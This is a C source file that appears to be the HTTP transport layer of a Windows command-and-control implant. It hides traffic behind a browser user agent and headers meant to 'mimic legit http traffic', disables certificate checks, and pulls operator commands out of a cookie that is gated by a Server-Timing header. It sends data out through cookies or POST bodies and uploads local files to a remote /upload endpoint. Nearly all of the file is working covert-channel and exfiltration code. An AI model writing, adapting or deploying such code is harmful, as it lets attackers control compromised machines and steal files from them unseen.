670 lines
23 KiB
C
670 lines
23 KiB
C
#include "transport.h"
|
|
#include <winhttp.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <windows.h>
|
|
#include <wincrypt.h>
|
|
|
|
// HTTP transport context
|
|
typedef struct {
|
|
HINTERNET hSession;
|
|
HINTERNET hConnect;
|
|
HINTERNET hRequest;
|
|
LPCWSTR domain;
|
|
INTERNET_PORT port;
|
|
LPVOID responseBuffer;
|
|
DWORD responseSize;
|
|
} HttpContext;
|
|
|
|
// User agent to identify against server
|
|
wchar_t *USER_AGENT = L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
|
|
|
|
// Custom header to identify against server
|
|
wchar_t *IDENTITY_HEADER = L"Accept-Language: en-US,en;q=0.9\r\n";
|
|
|
|
// Common headers to mimic legit http traffic
|
|
wchar_t *COMMON_HEADERS[] = {
|
|
L"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n",
|
|
L"Cache-Control: no-cache\r\n",
|
|
L"Pragma: no-cache\r\n",
|
|
L"Connection: keep-alive\r\n"
|
|
};
|
|
int NUM_COMMON_HEADERS = sizeof(COMMON_HEADERS) / sizeof(COMMON_HEADERS[0]);
|
|
|
|
// Headers and cookie indicating a new message from server
|
|
wchar_t* TARGET_HEADER_NAME = L"Server-Timing";
|
|
wchar_t* TARGET_HEADER_VALUE = L"cfExtPri";
|
|
wchar_t* TARGET_COOKIE_NAME = L"x-auth-csrf-token";
|
|
|
|
// Cookie to embed message to
|
|
wchar_t* MESSAGE_COOKIE_NAME = L"sessionID";
|
|
|
|
// Maximum message length for cookies (in bytes), remember 32 wchars = 64 bytes
|
|
// if message is bigger - it will be sent via POST in request body
|
|
size_t MAX_COOKIE_MESSAGE_LENGTH = 64;
|
|
|
|
// Header to indicate message in request body
|
|
wchar_t* BODY_MESSAGE_HEADER = L"X-Requested-With: XMLHttpRequest\r\n";
|
|
|
|
// Function to check header and print cookie
|
|
char* CheckHeaderAndPrintCookie(wchar_t *headers, wchar_t *cookies) {
|
|
// _setmode(_fileno(stdout), _O_U16TEXT);
|
|
char* empty = "";
|
|
|
|
if (!headers || !cookies) {
|
|
wprintf(L"Error: Headers or cookies are null\n");
|
|
return empty;
|
|
}
|
|
|
|
wchar_t *headerStart = wcsstr(headers, TARGET_HEADER_NAME);
|
|
if (!headerStart) {
|
|
wprintf(L"Target header not found. Assuming no message from server\n");
|
|
return empty;
|
|
}
|
|
|
|
wchar_t *valueStart = wcschr(headerStart, L':');
|
|
if (!valueStart) {
|
|
wprintf(L"Invalid header format\n");
|
|
return empty;
|
|
}
|
|
valueStart++;
|
|
while (*valueStart == L' ') valueStart++;
|
|
|
|
if (_wcsnicmp(valueStart, TARGET_HEADER_VALUE, wcslen(TARGET_HEADER_VALUE)) != 0) {
|
|
wprintf(L"Header value does not match\n");
|
|
return empty;
|
|
}
|
|
|
|
wchar_t *cookieStart = wcsstr(cookies, TARGET_COOKIE_NAME);
|
|
if (!cookieStart) {
|
|
wprintf(L"Target cookie not found\n");
|
|
return empty;
|
|
}
|
|
cookieStart += wcslen(TARGET_COOKIE_NAME);
|
|
if (*cookieStart != L'=') {
|
|
wprintf(L"Invalid cookie format\n");
|
|
return empty;
|
|
}
|
|
cookieStart++;
|
|
while (*cookieStart == L' ') cookieStart++;
|
|
|
|
wchar_t *cookieEnd = cookieStart;
|
|
while (*cookieEnd && *cookieEnd != L';' && *cookieEnd != L'\r' && *cookieEnd != L'\n') {
|
|
cookieEnd++;
|
|
}
|
|
size_t valueLength = cookieEnd - cookieStart;
|
|
|
|
if (valueLength == 0 || valueLength >= 256) {
|
|
wprintf(L"Invalid cookie value length\n");
|
|
return empty;
|
|
}
|
|
|
|
wchar_t cookieValue[valueLength];
|
|
wcsncpy(cookieValue, cookieStart, valueLength);
|
|
cookieValue[valueLength] = L'\0';
|
|
wprintf(L"[+] Target cookie found, value: %S\n", cookieValue);
|
|
|
|
// Convert wchar string to normal string
|
|
size_t len = wcstombs(NULL, cookieValue, 0) + 1;
|
|
char* command = malloc(len);
|
|
wcstombs(command, cookieValue, len);
|
|
return command;
|
|
}
|
|
|
|
// URL encode function to handle special characters in file paths
|
|
char* urlEncode(const char* str) {
|
|
size_t len = strlen(str);
|
|
char* encoded = malloc(len * 3 + 1); // Worst case: every char becomes %XX
|
|
if (!encoded) return NULL;
|
|
|
|
size_t pos = 0;
|
|
for (size_t i = 0; i < len; i++) {
|
|
if (isalnum(str[i]) || str[i] == '-' || str[i] == '_' || str[i] == '.' || str[i] == '~') {
|
|
encoded[pos++] = str[i];
|
|
} else {
|
|
sprintf(&encoded[pos], "%%%02X", (unsigned char)str[i]);
|
|
pos += 3;
|
|
}
|
|
}
|
|
encoded[pos] = '\0';
|
|
return encoded;
|
|
}
|
|
|
|
// Usage example:
|
|
// Transport* transport = InitHTTPTransport("192.168.1.4", 443);
|
|
// transport->send_file(transport->handle, "test.exe", "file_upload_command");
|
|
// Add this function to your transport implementation
|
|
// Modified http_send_file function with URL encoding
|
|
int http_send_file(void* handle, char* filePath, char* message) {
|
|
HttpContext* ctx = (HttpContext*)handle;
|
|
HANDLE hFile = INVALID_HANDLE_VALUE;
|
|
DWORD fileSize = 0, dwRead = 0;
|
|
BYTE buffer[4096];
|
|
BOOL bResults = FALSE;
|
|
|
|
// Convert file path to wide string
|
|
int wideLen = MultiByteToWideChar(CP_UTF8, 0, filePath, -1, NULL, 0);
|
|
wchar_t* wideFilePath = malloc(wideLen * sizeof(wchar_t));
|
|
if (!wideFilePath) return -1;
|
|
MultiByteToWideChar(CP_UTF8, 0, filePath, -1, wideFilePath, wideLen);
|
|
|
|
// URL encode the message to handle special characters
|
|
char* encodedMessage = urlEncode(message);
|
|
if (!encodedMessage) {
|
|
free(wideFilePath);
|
|
return -1;
|
|
}
|
|
|
|
// Convert encoded message to wide string for cookie
|
|
int msgWideLen = MultiByteToWideChar(CP_UTF8, 0, encodedMessage, -1, NULL, 0);
|
|
wchar_t* wideMessage = malloc(msgWideLen * sizeof(wchar_t));
|
|
if (!wideMessage) {
|
|
free(wideFilePath);
|
|
free(encodedMessage);
|
|
return -1;
|
|
}
|
|
MultiByteToWideChar(CP_UTF8, 0, encodedMessage, -1, wideMessage, msgWideLen);
|
|
|
|
// Open file
|
|
hFile = CreateFileW(wideFilePath, GENERIC_READ, FILE_SHARE_READ, NULL,
|
|
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
|
if (hFile == INVALID_HANDLE_VALUE) {
|
|
printf("CreateFile failed for: %s\n", filePath);
|
|
free(wideFilePath);
|
|
free(encodedMessage);
|
|
free(wideMessage);
|
|
return -1;
|
|
}
|
|
|
|
fileSize = GetFileSize(hFile, NULL);
|
|
if (fileSize == INVALID_FILE_SIZE) {
|
|
printf("GetFileSize failed\n");
|
|
CloseHandle(hFile);
|
|
free(wideFilePath);
|
|
free(encodedMessage);
|
|
free(wideMessage);
|
|
return -1;
|
|
}
|
|
|
|
// Create POST request for file upload
|
|
ctx->hRequest = WinHttpOpenRequest(ctx->hConnect, L"POST", L"/upload",
|
|
NULL, WINHTTP_NO_REFERER,
|
|
WINHTTP_DEFAULT_ACCEPT_TYPES,
|
|
WINHTTP_FLAG_SECURE);
|
|
if (!ctx->hRequest) {
|
|
printf("WinHttpOpenRequest failed\n");
|
|
CloseHandle(hFile);
|
|
free(wideFilePath);
|
|
free(encodedMessage);
|
|
free(wideMessage);
|
|
return -1;
|
|
}
|
|
|
|
// Ignore certificate errors
|
|
DWORD securityFlags = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
|
|
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE |
|
|
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
|
|
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID;
|
|
WinHttpSetOption(ctx->hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &securityFlags, sizeof(securityFlags));
|
|
|
|
// Add identity and common headers to mimic legitimate traffic
|
|
WinHttpAddRequestHeaders(ctx->hRequest, IDENTITY_HEADER, (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
|
|
for (int i = 0; i < NUM_COMMON_HEADERS; ++i) {
|
|
WinHttpAddRequestHeaders(ctx->hRequest, COMMON_HEADERS[i], (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
|
|
}
|
|
|
|
// Add content type for file upload
|
|
wchar_t *contentType = L"Content-Type: application/octet-stream\r\n";
|
|
WinHttpAddRequestHeaders(ctx->hRequest, contentType, (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
|
|
|
|
// Add body message header to indicate file upload with message
|
|
WinHttpAddRequestHeaders(ctx->hRequest, BODY_MESSAGE_HEADER, (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
|
|
|
|
// Embed encoded message in cookie (using %S for wide chars)
|
|
wchar_t cookieHeader[1024];
|
|
swprintf(cookieHeader, 1024, L"Cookie: %S=%S", MESSAGE_COOKIE_NAME, wideMessage);
|
|
WinHttpAddRequestHeaders(ctx->hRequest, cookieHeader, (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
|
|
|
|
// Send request with file size
|
|
bResults = WinHttpSendRequest(ctx->hRequest,
|
|
WINHTTP_NO_ADDITIONAL_HEADERS, 0,
|
|
NULL, 0, fileSize, 0);
|
|
|
|
if (!bResults) {
|
|
printf("WinHttpSendRequest failed\n");
|
|
goto cleanup;
|
|
}
|
|
|
|
// Upload file data in chunks
|
|
do {
|
|
if (!ReadFile(hFile, buffer, sizeof(buffer), &dwRead, NULL)) {
|
|
printf("ReadFile failed\n");
|
|
bResults = FALSE;
|
|
break;
|
|
}
|
|
|
|
if (dwRead > 0) {
|
|
if (!WinHttpWriteData(ctx->hRequest, buffer, dwRead, NULL)) {
|
|
printf("WinHttpWriteData failed\n");
|
|
bResults = FALSE;
|
|
break;
|
|
}
|
|
}
|
|
} while (dwRead > 0);
|
|
|
|
if (bResults) {
|
|
printf("[+] File upload completed: %s\n", filePath);
|
|
}
|
|
|
|
cleanup:
|
|
if (hFile != INVALID_HANDLE_VALUE) CloseHandle(hFile);
|
|
free(wideFilePath);
|
|
free(encodedMessage);
|
|
free(wideMessage);
|
|
|
|
return bResults ? (int)fileSize : -1;
|
|
}
|
|
|
|
int http_send(void* handle, char* data, size_t len) {
|
|
HttpContext* ctx = (HttpContext*)handle;
|
|
BOOL bResults = FALSE;
|
|
|
|
// Convert message to wide string
|
|
int wideLen = MultiByteToWideChar(CP_UTF8, 0, data, len, NULL, 0);
|
|
wchar_t* wideMessage = malloc((wideLen + 1) * sizeof(wchar_t));
|
|
if (!wideMessage) return -1;
|
|
|
|
MultiByteToWideChar(CP_UTF8, 0, data, len, wideMessage, wideLen);
|
|
wideMessage[wideLen] = L'\0';
|
|
|
|
// Determine method and setup request
|
|
LPCWSTR method = (len > MAX_COOKIE_MESSAGE_LENGTH) ? L"POST" : L"GET";
|
|
BOOL useBody = (len > MAX_COOKIE_MESSAGE_LENGTH);
|
|
|
|
// Create request
|
|
ctx->hRequest = WinHttpOpenRequest(ctx->hConnect, method, L"/",
|
|
NULL, WINHTTP_NO_REFERER,
|
|
WINHTTP_DEFAULT_ACCEPT_TYPES,
|
|
WINHTTP_FLAG_SECURE);
|
|
if (!ctx->hRequest) {
|
|
free(wideMessage);
|
|
return -1;
|
|
}
|
|
|
|
// Ignore certificate errors
|
|
DWORD securityFlags = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
|
|
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE |
|
|
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
|
|
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID;
|
|
|
|
WinHttpSetOption(ctx->hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &securityFlags, sizeof(securityFlags));
|
|
|
|
// Add headers
|
|
WinHttpAddRequestHeaders(ctx->hRequest, IDENTITY_HEADER, (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
|
|
for (int i = 0; i < NUM_COMMON_HEADERS; ++i) {
|
|
WinHttpAddRequestHeaders(ctx->hRequest, COMMON_HEADERS[i], (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
|
|
}
|
|
|
|
if (useBody) {
|
|
// POST request with body
|
|
wchar_t *contentType = L"Content-Type: application/x-www-form-urlencoded\r\n";
|
|
WinHttpAddRequestHeaders(ctx->hRequest, contentType, (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
|
|
WinHttpAddRequestHeaders(ctx->hRequest, BODY_MESSAGE_HEADER, (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
|
|
|
|
DWORD messageLength = wcslen(wideMessage) * sizeof(wchar_t);
|
|
bResults = WinHttpSendRequest(ctx->hRequest,
|
|
WINHTTP_NO_ADDITIONAL_HEADERS, 0,
|
|
(LPVOID)wideMessage, messageLength,
|
|
messageLength, 0);
|
|
}
|
|
else {
|
|
// GET request with cookie
|
|
wchar_t cookieHeader[1024];
|
|
swprintf(cookieHeader, 1024, L"Cookie: %S=%S", MESSAGE_COOKIE_NAME, wideMessage);
|
|
WinHttpAddRequestHeaders(ctx->hRequest, cookieHeader, (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
|
|
|
|
bResults = WinHttpSendRequest(ctx->hRequest,
|
|
WINHTTP_NO_ADDITIONAL_HEADERS, 0,
|
|
WINHTTP_NO_REQUEST_DATA, 0,
|
|
0, 0);
|
|
}
|
|
|
|
free(wideMessage);
|
|
|
|
if (bResults) {
|
|
return len; // Return original length
|
|
}
|
|
|
|
return -1;
|
|
}
|
|
|
|
int http_recv_alloc(void* handle, char* buffer1, unsigned char** buffer2, size_t len1, size_t* len2) {
|
|
HttpContext* ctx = (HttpContext*)handle;
|
|
|
|
BOOL bResults = WinHttpReceiveResponse(ctx->hRequest, NULL);
|
|
if (!bResults) {
|
|
return -1;
|
|
}
|
|
|
|
// Read response data
|
|
DWORD dwSize = 0;
|
|
DWORD dwDownloaded = 0;
|
|
LPSTR pszOutBuffer;
|
|
|
|
// Calculate total response size
|
|
do {
|
|
dwSize = 0;
|
|
if (!WinHttpQueryDataAvailable(ctx->hRequest, &dwSize)) {
|
|
break;
|
|
}
|
|
|
|
if (dwSize == 0) break;
|
|
|
|
pszOutBuffer = malloc(dwSize + 1);
|
|
if (!pszOutBuffer) {
|
|
break;
|
|
}
|
|
|
|
ZeroMemory(pszOutBuffer, dwSize + 1);
|
|
|
|
if (!WinHttpReadData(ctx->hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded)) {
|
|
free(pszOutBuffer);
|
|
break;
|
|
}
|
|
|
|
// Append to response buffer
|
|
LPSTR newBuffer = realloc(ctx->responseBuffer, ctx->responseSize + dwDownloaded + 1);
|
|
if (!newBuffer) {
|
|
free(pszOutBuffer);
|
|
break;
|
|
}
|
|
|
|
ctx->responseBuffer = newBuffer;
|
|
memcpy((char*)ctx->responseBuffer + ctx->responseSize, pszOutBuffer, dwDownloaded);
|
|
ctx->responseSize += dwDownloaded;
|
|
((char*)ctx->responseBuffer)[ctx->responseSize] = '\0';
|
|
|
|
free(pszOutBuffer);
|
|
|
|
} while (dwSize > 0);
|
|
|
|
// Print response headers
|
|
LPVOID lpHeadersBuffer = NULL;
|
|
LPVOID lpCookiesBuffer = NULL;
|
|
|
|
// Get and print raw headers
|
|
WinHttpQueryHeaders(ctx->hRequest, WINHTTP_QUERY_RAW_HEADERS_CRLF, WINHTTP_HEADER_NAME_BY_INDEX,
|
|
NULL, &dwSize, WINHTTP_NO_HEADER_INDEX);
|
|
if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
|
|
lpHeadersBuffer = malloc(dwSize);
|
|
if (lpHeadersBuffer) {
|
|
if (WinHttpQueryHeaders(ctx->hRequest,
|
|
WINHTTP_QUERY_RAW_HEADERS_CRLF,
|
|
WINHTTP_HEADER_NAME_BY_INDEX,
|
|
lpHeadersBuffer, &dwSize,
|
|
WINHTTP_NO_HEADER_INDEX)) {
|
|
// wprintf(L"\nResponse Headers:\n%S\n", (wchar_t*)lpHeadersBuffer);
|
|
}
|
|
}
|
|
}
|
|
|
|
// Get and print cookies
|
|
WinHttpQueryHeaders(ctx->hRequest, WINHTTP_QUERY_SET_COOKIE, WINHTTP_HEADER_NAME_BY_INDEX,
|
|
NULL, &dwSize, WINHTTP_NO_HEADER_INDEX);
|
|
if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
|
|
lpCookiesBuffer = malloc(dwSize);
|
|
if (lpCookiesBuffer) {
|
|
if (WinHttpQueryHeaders(ctx->hRequest,
|
|
WINHTTP_QUERY_SET_COOKIE,
|
|
WINHTTP_HEADER_NAME_BY_INDEX,
|
|
lpCookiesBuffer, &dwSize,
|
|
WINHTTP_NO_HEADER_INDEX)) {
|
|
// wprintf(L"Cookies:\n%S", (wchar_t*)lpCookiesBuffer);
|
|
}
|
|
}
|
|
}
|
|
|
|
// Check target header and cookie
|
|
char* command = CheckHeaderAndPrintCookie((wchar_t*)lpHeadersBuffer, (wchar_t*)lpCookiesBuffer);
|
|
// Clean up response buffer and headers after first read
|
|
if (lpHeadersBuffer) free(lpHeadersBuffer);
|
|
if (lpCookiesBuffer) free(lpCookiesBuffer);
|
|
|
|
// Copy command from cookie to buffer
|
|
if (command) {
|
|
printf("Message from cookie: %s\n", command);
|
|
// Copy command to buffer if it fits
|
|
size_t commandLen = strlen(command);
|
|
if (commandLen <= len1) {
|
|
memcpy(buffer1, command, commandLen);
|
|
printf("Copying command into buffer\n");
|
|
// return commandLen;
|
|
} else {
|
|
// Buffer too small, copy what we can
|
|
printf("Buufer too small, copying what we can\n");
|
|
memcpy(buffer1, command, len1);
|
|
// return len;
|
|
}
|
|
}
|
|
|
|
// If no data received, return nothing
|
|
if (ctx->responseSize == 0) {
|
|
return 0;
|
|
}
|
|
else {
|
|
// Copy response data to buffer
|
|
|
|
// Allocate buffer for response data
|
|
*buffer2 = malloc(ctx->responseSize + 1);
|
|
if (!*buffer2) {
|
|
return -1;
|
|
}
|
|
|
|
memcpy(*buffer2, (char*)ctx->responseBuffer, ctx->responseSize);
|
|
(*buffer2)[ctx->responseSize] = '\0';
|
|
*len2 = ctx->responseSize;
|
|
|
|
}
|
|
return ctx->responseSize;
|
|
}
|
|
|
|
void http_cleanup(void* handle) {
|
|
HttpContext* ctx = (HttpContext*)handle;
|
|
|
|
if (ctx->hRequest) {
|
|
WinHttpCloseHandle(ctx->hRequest);
|
|
}
|
|
if (ctx->hConnect) {
|
|
WinHttpCloseHandle(ctx->hConnect);
|
|
}
|
|
if (ctx->hSession) {
|
|
WinHttpCloseHandle(ctx->hSession);
|
|
}
|
|
if (ctx->responseBuffer) {
|
|
free(ctx->responseBuffer);
|
|
}
|
|
|
|
free(ctx);
|
|
}
|
|
|
|
// Modified InitHTTPTransport function to include the send_file function pointer
|
|
Transport* InitHTTPTransport(char* domain, unsigned short port) {
|
|
HttpContext* ctx = malloc(sizeof(HttpContext));
|
|
if (!ctx) return NULL;
|
|
|
|
memset(ctx, 0, sizeof(HttpContext));
|
|
ctx->port = port;
|
|
|
|
// Convert domain to wide string
|
|
int wideLen = MultiByteToWideChar(CP_UTF8, 0, domain, -1, NULL, 0);
|
|
wchar_t* wideDomain = malloc(wideLen * sizeof(wchar_t));
|
|
if (!wideDomain) {
|
|
free(ctx);
|
|
return NULL;
|
|
}
|
|
MultiByteToWideChar(CP_UTF8, 0, domain, -1, wideDomain, wideLen);
|
|
ctx->domain = wideDomain;
|
|
|
|
// Open session
|
|
ctx->hSession = WinHttpOpen(USER_AGENT,
|
|
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
|
|
WINHTTP_NO_PROXY_NAME,
|
|
WINHTTP_NO_PROXY_BYPASS, 0);
|
|
if (!ctx->hSession) {
|
|
free((void*)ctx->domain);
|
|
free(ctx);
|
|
return NULL;
|
|
}
|
|
|
|
// Connect
|
|
ctx->hConnect = WinHttpConnect(ctx->hSession, ctx->domain, ctx->port, 0);
|
|
if (!ctx->hConnect) {
|
|
WinHttpCloseHandle(ctx->hSession);
|
|
free((void*)ctx->domain);
|
|
free(ctx);
|
|
return NULL;
|
|
}
|
|
|
|
Transport* transport = malloc(sizeof(Transport));
|
|
if (!transport) {
|
|
http_cleanup(ctx);
|
|
return NULL;
|
|
}
|
|
|
|
transport->handle = ctx;
|
|
transport->send = http_send;
|
|
transport->recv = NULL;
|
|
transport->recv_alloc = http_recv_alloc;
|
|
transport->send_file = http_send_file; // Add this line
|
|
transport->cleanup = http_cleanup;
|
|
|
|
return transport;
|
|
}
|
|
|
|
// Original receive func without second buffer for response body
|
|
// int http_recv(void* handle, char* buffer, size_t len) {
|
|
// HttpContext* ctx = (HttpContext*)handle;
|
|
|
|
// // Check if we have a valid request handle
|
|
// if (!ctx->hRequest) {
|
|
// return -1; // No request sent yet
|
|
// }
|
|
|
|
// // If we haven't received the response yet, get it
|
|
// BOOL bResults = WinHttpReceiveResponse(ctx->hRequest, NULL);
|
|
// if (!bResults) {
|
|
// printf("No response received\n");
|
|
// return -1;
|
|
// }
|
|
|
|
// // Read response data
|
|
// DWORD dwSize = 0;
|
|
// DWORD dwDownloaded = 0;
|
|
// LPSTR pszOutBuffer;
|
|
|
|
// // Calculate total response size
|
|
// do {
|
|
// dwSize = 0;
|
|
// if (!WinHttpQueryDataAvailable(ctx->hRequest, &dwSize)) {
|
|
// break;
|
|
// }
|
|
|
|
// if (dwSize == 0) break;
|
|
|
|
// pszOutBuffer = malloc(dwSize + 1);
|
|
// if (!pszOutBuffer) {
|
|
// break;
|
|
// }
|
|
|
|
// ZeroMemory(pszOutBuffer, dwSize + 1);
|
|
|
|
// if (!WinHttpReadData(ctx->hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded)) {
|
|
// free(pszOutBuffer);
|
|
// break;
|
|
// }
|
|
|
|
// // Append to response buffer
|
|
// LPSTR newBuffer = realloc(ctx->responseBuffer, ctx->responseSize + dwDownloaded + 1);
|
|
// if (!newBuffer) {
|
|
// free(pszOutBuffer);
|
|
// break;
|
|
// }
|
|
|
|
// ctx->responseBuffer = newBuffer;
|
|
// memcpy((char*)ctx->responseBuffer + ctx->responseSize, pszOutBuffer, dwDownloaded);
|
|
// ctx->responseSize += dwDownloaded;
|
|
// ((char*)ctx->responseBuffer)[ctx->responseSize] = '\0';
|
|
|
|
// free(pszOutBuffer);
|
|
|
|
// } while (dwSize > 0);
|
|
|
|
// // Print response headers
|
|
// dwSize = 0;
|
|
// LPVOID lpHeadersBuffer = NULL;
|
|
// LPVOID lpCookiesBuffer = NULL;
|
|
|
|
// // Get and print raw headers
|
|
// WinHttpQueryHeaders(ctx->hRequest, WINHTTP_QUERY_RAW_HEADERS_CRLF, WINHTTP_HEADER_NAME_BY_INDEX,
|
|
// NULL, &dwSize, WINHTTP_NO_HEADER_INDEX);
|
|
// if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
|
|
// lpHeadersBuffer = malloc(dwSize);
|
|
// if (lpHeadersBuffer) {
|
|
// if (WinHttpQueryHeaders(ctx->hRequest,
|
|
// WINHTTP_QUERY_RAW_HEADERS_CRLF,
|
|
// WINHTTP_HEADER_NAME_BY_INDEX,
|
|
// lpHeadersBuffer, &dwSize,
|
|
// WINHTTP_NO_HEADER_INDEX)) {
|
|
// // wprintf(L"\nResponse Headers:\n%S\n", (wchar_t*)lpHeadersBuffer);
|
|
// }
|
|
// }
|
|
// }
|
|
|
|
// // Get and print cookies
|
|
// WinHttpQueryHeaders(ctx->hRequest, WINHTTP_QUERY_SET_COOKIE, WINHTTP_HEADER_NAME_BY_INDEX,
|
|
// NULL, &dwSize, WINHTTP_NO_HEADER_INDEX);
|
|
// if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
|
|
// lpCookiesBuffer = malloc(dwSize);
|
|
// if (lpCookiesBuffer) {
|
|
// if (WinHttpQueryHeaders(ctx->hRequest,
|
|
// WINHTTP_QUERY_SET_COOKIE,
|
|
// WINHTTP_HEADER_NAME_BY_INDEX,
|
|
// lpCookiesBuffer, &dwSize,
|
|
// WINHTTP_NO_HEADER_INDEX)) {
|
|
// // wprintf(L"Cookies:\n%S", (wchar_t*)lpCookiesBuffer);
|
|
// }
|
|
// }
|
|
// }
|
|
|
|
// // Check target header and cookie
|
|
// char* command = CheckHeaderAndPrintCookie((wchar_t*)lpHeadersBuffer, (wchar_t*)lpCookiesBuffer);
|
|
// if (command) {
|
|
// printf("Command: %s\n", command);
|
|
// // Copy command to buffer if it fits
|
|
// size_t commandLen = strlen(command);
|
|
// if (commandLen <= len) {
|
|
// memcpy(buffer, command, commandLen);
|
|
// return commandLen;
|
|
// } else {
|
|
// // Buffer too small, copy what we can
|
|
// memcpy(buffer, command, len);
|
|
// return len;
|
|
// }
|
|
// }
|
|
|
|
// // If no command found, return the response data
|
|
// if (ctx->responseSize == 0) {
|
|
// return 0; // No data
|
|
// }
|
|
|
|
// // Copy response data to buffer
|
|
// DWORD bytesToCopy = min(len, ctx->responseSize);
|
|
// memcpy(buffer, (char*)ctx->responseBuffer, bytesToCopy);
|
|
|
|
// // Clean up response buffer and headers after first read
|
|
// if (lpHeadersBuffer) free(lpHeadersBuffer);
|
|
// if (lpCookiesBuffer) free(lpCookiesBuffer);
|
|
|
|
// return bytesToCopy;
|
|
// }
|